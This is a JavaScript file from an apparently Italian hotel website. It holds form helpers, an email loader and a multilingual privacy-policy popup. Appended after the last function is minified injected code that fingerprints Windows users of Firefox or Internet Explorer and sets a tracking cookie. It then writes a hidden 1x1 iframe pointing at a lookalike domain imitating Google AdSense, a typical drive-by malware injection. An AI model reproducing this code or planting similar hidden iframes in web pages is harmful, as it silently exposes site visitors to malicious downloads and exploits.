var myRequest5 = null;

function CreateXmlHttpReq(handler) {
  var xmlhttp = null;
  try {
	xmlhttp = new XMLHttpRequest();
  } catch(e) {
  try {
		xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
	} catch(e) {
		xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
	}
 }
  xmlhttp.onreadystatechange = handler;
  return xmlhttp;
}
	
function checkSecurityCode(security_code, lang){
	
	var inserted_number = document.getElementById("security_code").value;			
	if(security_code != inserted_number ){
		if (lang == null)
			 alert("Impossibile inviare la richiesta!\nIl codice di sicurezza inserito non è corretto.");	
		else if (lang == 'eng')	 
			 alert("Unable to send request!\nUncorrect security code");
		return false;	
	}
	else
		return true;
	
}

var email_id = null;

function mostra_email(id){
	email_id = id;
	var page_code = Math.floor(Math.random()*100000000000000);
	myRequest5 = CreateXmlHttpReq(myHandler_email);	
	myRequest5.open("GET","contatore.php?page_code="+page_code);
	myRequest5.send(null);				
	
}

function myHandler_email(){
	if (myRequest5.readyState == 4 && myRequest5.status == 200) {
		document.getElementById(email_id).innerHTML = myRequest5.responseText;
	}
}
	

function avvisoprivacy(lang) { 	   	
   	var finestra = window.open("","Privacy","height=230,width=450");
   	
	if (lang=='de') {
    	finestra.document.write("<h2>Datenschutzerklaerung.</h2>");
    	finestra.document.write("Wir informieren Sie das, das die eingegebenen Daten nur fuer die erfragten Informationen und bei einer Bestaetigung vom Hotel verwendet werden. Ihre Daten fallen unter das Gesetzt der Privtsphaehre (D.Legisl.196/2003). Wenn Sie weitere Informationen zur Art der Handhabung des Artikel 7 des Datenschutzes ueber Privatsphaere wuenschen, wenden Sie sich bitte an den Besitzers des Hotels.");
		finestra.document.close();
	}
	else if (lang=='en') {
    	finestra.document.write("<h2>Privacy Policy Information.</h2>");
    	finestra.document.write("The hotel company  provides this information for users who consult and/or interact with this site regarding information on the personal data of identified or unidentified parties, according to article 13 of Legislative Decree N°.196/2003 regarding the protection of personal data.The personal data provided by the users of our web site are used only to carry out the service or performance requested or eventually to confirm the hotel reservation. Any personal data provided will be treated through our  software procedures in according to the Legislative Decree N°.196/2003 regarding the protection of personal data. To receive more details or exert any rights provided by the article 7  of Legislative Decree N°. 196/2003, contact please the management or the ownership of the hotel Company.");
		finestra.document.close();
	}
	else {
    	finestra.document.write("<h2>Informativa sulla Privacy.</h2>");
    	finestra.document.write("La informiamo che i dati da lei inseriti saranno trattati al solo fine di fornirle le informazioni richieste ed eventualmente, in caso di conferma, per definire la prenotazione alberghiera. I suoi dati saranno trattati con mezzi informatici nel rispetto dei principi stabiliti dal codice della Privacy (D. Legisl. 196/2003). Per ulteriori informazioni sulle modalità del trattamento, e per esercitare gli altri diritti a lei riconosciuti dall'articolo 7 del Codice della Privacy, potrà rivolgersi al Titolare della struttura alberghiera.");
		finestra.document.close();
	}
	
	
}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
